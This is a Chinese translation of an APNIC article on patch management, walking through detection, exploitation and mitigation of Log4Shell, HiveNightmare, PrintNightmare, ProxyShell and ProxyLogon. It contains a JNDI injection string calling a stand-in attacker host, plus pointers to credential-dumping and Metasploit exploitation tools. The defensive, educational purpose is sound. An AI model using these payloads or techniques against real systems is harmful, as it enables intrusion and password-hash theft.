请在新的一年中更新你的补丁管理

admin 2022年4月15日10:41:33SecIN安全技术社区请在新的一年中更新你的补丁管理已关闭评论8 views4533字阅读15分6秒阅读模式

译文来源:https://blog.apnic.net/2022/02/04/update-your-patch-management-this-new-year/。

受个人知识所限及偏见影响,部分内容或存在过度曲解及误解现象,望师傅们包含并提出建议,感谢。

新年伊始,安全专业人员可以回顾过去的新闻历程,以帮助预测和规划在新的一年里需要缓解和修复的攻击与漏洞。

在本文中,我将回顾一下五个在2021年中最常见的漏洞以及公开披露(CVE)的案例:Log4Shell、HiveNightmare(也可以称之为 SeriousSam)、PrintNightmare 还有 Microsoft Exchange Server 远程代码执行(RCE)ProxyShell 和 ProxyLogon。

我将会谈到如何检测这些漏洞,以及如何通过对这些漏洞的利用来了解其缓解措施。我还将强调补充,如果有合理的补丁管理,这些漏洞几乎都是可以避免的。

注:本文中的所有案例均是在沙盒环境中测试的,仅用于教育目的。网站的所有者、发行者以及作者对造成的损失不负任何责任。

例 1:Log4Shell

Apache Log4j 是一个基于 Java 的日志工具和若干 Java 日志框架之一。它是 Apache Logging Services 的一部分,是 Apache 软件基金会的一个项目。

在 2021 年十二月,在流行的 Apache 基金会 Log4j 库中发现了一个严重的 RCE 漏洞。这个叫做 Log4Shell(CVE-2021-44228)的漏洞,被称之为是“近十年来最严重以及最大的单一漏洞”,这是一个在 Log4j 中的0day漏洞,涉及到任意代码执行,并且此后获得的CVSS严重性评分为10(最高)

Log4Shell 之所以有如此独特的危险性,是因为 Apache Log4j 2.0 在 Java 中的应用是无处不在,尤其是在企业软件中。该漏洞使攻击者能够获得对字符串的控制,并欺骗应用程序请求和执行攻击者控制的恶意代码。

这一漏洞使用 Java 命名和目录接口(JNDI)的“lookups”来执行远程命令。由于这个接口试图记录传入连接的请求头,如 User-Agent、X-Api-Version 和 Referer,这些可以被修改为包含类似${jndi:ldap://...}能被服务器执行的恶意内容,并可能获得一个反向 shell。

要使该漏洞利用成功,需满足以下条件

  • 服务器中存在具有漏洞的 log4j 版本(>= 2.0-beta9 and <= 2.14.1)。
  • 目标系统必须能被攻击者以任何协议(HTTP、TCP等)访问,允许攻击者发送恶意的 payload。
  • 由攻击者发送的请求必须被 log4j 记录

如何检测

容易受到 Log4j CVE-2021-44228 问题影响的应用进程可以通过扫描 jar、war 和 ear 文件来搜索是否存在 JndiLookup.class 进行检测。

我们可以使用 CERT/CC’s CVE-2021-44228_scanner 来判断目标资产是否存在 Log4Shell 漏洞(图1):

请在新的一年中更新你的补丁管理

我们还可以使用 Florian Roth 的 Fenrir 0.9.0 – Log4Shell tool 来检测存在漏洞的实例(图2):

请在新的一年中更新你的补丁管理

用户可以通过在服务器的网络请求日志中搜索类似如下的字符串来检测 Log4Shell 攻击。

${jndi:ldap://[attacker site]/a}

请在新的一年中更新你的补丁管理

在实际的攻击中,Idap 并不是唯一会跟在${jndi:后面的,我们还可以使用 Idaps、rmi、iiop、dns 或者 http

如何利用

用户可以生成一个 Java 命名和目录接口(JNDI)的语句(代码块${jndi[:]ldap[:]//···)然后将其放入任何可输入字段中(应用程序输入字段、网站表单字段、登录输入、User-Agent、X-Api-Version 字段或 X-Forwarded-For,或其他可自定义的 HTTP header 字段)。

如果目标应用符合上述所有条件,那么用户就会成功执行 Log4Shell RCE(图4):

请在新的一年中更新你的补丁管理

缓解措施

该漏洞披露之后,Apache 就发布了一个缓解这一漏洞的升级版本。

例 2: HiveNightmare 或 SeriousSam

HiveNightmare,也被叫做 SeriousSam,是 Windows 10 中的一个漏洞。

2021 年 七月,CERT/CC 公开了一份漏洞声明,其中提到在多个 Windows 10 的版本中,BUILTIN\Users (非管理员权限)组被分配了对%windir%\system32\config目录文件的 RX 权限。这一漏洞影响了从 1809 到 最近的 Windows 10 版本。

由于这些不当的访问权限,非特权用户可以读取多个关键的系统文件,包括安全账户管理器(SAM)、SYSTEM 和 SECURITY。攻击者可以利用这个漏洞提取出注册表的 hive 数据,包括散列的密码。

如果有一个带有卷影拷贝服务(VSS)的系统驱动器,非特权用户可以利用对这些文件的访问来造成一些影响,包括但不限于:

  • 提取和利用账户密码哈希值
  • 发现原始的 Windows 安装密码
  • 获得 DPAPI 计算机密钥,可用于解密所有计算机私钥
  • 获得计算机机器账户、可用于银票攻击。

要实现这些,需要做到以下几点:

  • 启用系统保护
  • 还原点(卷影拷贝服务)

如何检测

在非特权的命令提示符窗口中输入以下命令来检查系统是否存在漏洞(图5):

icacls %windir%\system32\config\sam

请在新的一年中更新你的补丁管理

如何利用

安全研究人员 Kevin Beaumont 已经制作了一个叫做 HiveNightmare 的可执行文件(图6),可以允许用户读取 Windows 10 中的 SAM 数据(敏感),以及 SYSTEM 和 SECURITY 的 hive 数据。

请在新的一年中更新你的补丁管理

然后,用户可以使用 secretsdump.py 脚本来检索相关的哈希密码(图7),他们可以用这些密码来还原出明文密码。

请在新的一年中更新你的补丁管理

有时,用户还可以通过采用 psexec 或者绕过哈希的方法来获得对目标系统的访问权(如果受害者系统支持的话)。

缓解措施

微软已经提供了一个安全补丁和额外的解决方案,以帮助缓解这一漏洞。

例 3:PrintNightmare

2021 年六月份,CERT/CC 公开了一篇关于在 Windows 后台打印程序服务中一个严重RCE漏洞的漏洞声明,尽管微软已经针对 CVE-2021-1675 发布了以此更新,但是这次更新并没有解决同样被认定为是 CVE-2021-1675 公开漏洞。

2021 年七月1日,微软发布了 CVE-2021-34527 公告。该公告指出 CVE-2021-34527 与分配给 CVE--2021-1675 的漏洞相似但不同(因为二者的攻击媒介不同)。被称为 PrintNightmare,攻击者可以利用这一漏洞来控制受影响的系统。

在活动目录环境中的所有 Windows 服务器和客户端,包括域控制器,都默认运行 Windows 后台打印程序服务。该漏洞影响到多个版本的 Windows服务器(2004, 2008, 2008 R2, 2012, 2012 R2, 2016, 2019, 20H2)和 Windows 操作系统(7, 8.1, RT 8.1, 10)。

如何检测

用户可以使用 impacket 中的 rpcdump.py 脚本来扫描有潜在漏洞的主机。如果它返回一个值,它就有可能是存在漏洞的,如图8中的情况。

请在新的一年中更新你的补丁管理

如何利用

要是漏洞利用成功,需满足一下条件:

  • 受害机器运行着后台打印程序服务并且允许远程连接。
  • 域内有效用户凭证(攻击者可利用钓鱼攻击获得)
  • 网络需被共享,以使攻击者能够存储恶意的 dll 取得文件(恶意 payload)。

请在新的一年中更新你的补丁管理

缓解措施

针对 CVE-2021-1675CVE-2021-34527 的安全补丁及额外解决方案已经发布。

例 4:ProxyShell,Microsoft Exchange 服务器远程代码执行漏洞

ProxyShell 是以下三个漏洞的合称,它们串联在一起时可以对 Microsoft Exchange 服务器执行未授权 RCE:

  • CVE-2021-34473 - 预授权路径混淆导致的 ACL 绕过漏洞
  • CVE-2021-34523 - Exchange PowerShell 后端提权
  • CVE-2021-31207 - 授权任意文件写入漏洞导致的 RCE

这些串联漏洞是通过 Internet 信息服务中运行在443端口的 Microsoft Exchange 的客户端访问服务(CAS)远程利用的。ProxyShell 特别针对 Microsoft Exchange 的自动发现服务,该服务是作为邮件客户端软件自动配置访问以一种用户最小化输入的简单方法而实现的。

如何检测

这些漏洞可以使用 Autodiscover URL 进行检测(图10):

请在新的一年中更新你的补丁管理

如何利用

为了测试 ProxyShell 的 RCE,我采用了 PoC 利用代码 Horizon3。Metasploit 也有一个用于 ProxyShell RCE 的模块。如果目标系统存在漏洞,那么 ProxyShell exploit 就会加载“Exchange PowerShell 模块”并执行 RCE(图11).

请在新的一年中更新你的补丁管理

缓解措施

微软已经发布了可用的安全补丁来缓解这一漏洞。

例 5:ProxyLogon,Microsoft Exchange 服务器远程代码执行漏洞

ProxyLogon 是 CVE-2021-26855的通用名称,是微软 Exchange 服务器中的一个漏洞,允许攻击者绕过认证并冒充管理员。未经认证的攻击者可以通过开放的443端口在未打补丁的微软 Exchange 服务器上执行任意命令。

这一漏洞需要诸如 CVE-2021-26857、 CVE-2021-26858 和 CVE-2021-27065 等其他漏洞的支持,并且会影响 Microsoft Exchange 服务器的多个版本(Exchange 2013 Versions < 15.00.1497.012, Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010)。

如何检测

用户可以通过使用 Nmap 的 Nmap 脚本引擎(NSE)功能(http-vuln-cve2021-26855.nse)检测他们的服务器是否容易受到 ProxyLogon 的攻击,如图12所示。微软同样也提供了一个可用的 NSE 功能

请在新的一年中更新你的补丁管理

如何利用

Metasploit 提供了 ProxyLogon RCE 的模块允许用户成功获取未打补丁且存在漏洞的目标系统的控制权(图13):

请在新的一年中更新你的补丁管理

缓解措施

微软已经发布了可用的安全补丁来缓解这一漏洞。

补丁管理

现在你可能已经发现了,在上述所有案例的缓解措施部分都有了安全补丁或系统更新。

一旦一个漏洞被公开,补丁或缓解技术通常会在几天内由供应商发布,然后在任何即将到来的系统更新中得到适当的说明。最重要的是立即应用这些补丁,作为你正在进行的安全管理的一部分,以减少对你服务器造成破坏的可能性。一个值得做的额外步骤是进行 Shodan 搜索,以检测你管理的任何 IP 地址是否容易受到某些 CVE 的攻击。

做到这一点并确保你的软件版本是最新的,这些简单的步骤可以帮助你你免受大部分过去、现在甚至是未来的攻击。

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月15日10:41:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  请在新的一年中更新你的补丁管理 http://cn-sec.com/archives/913075.html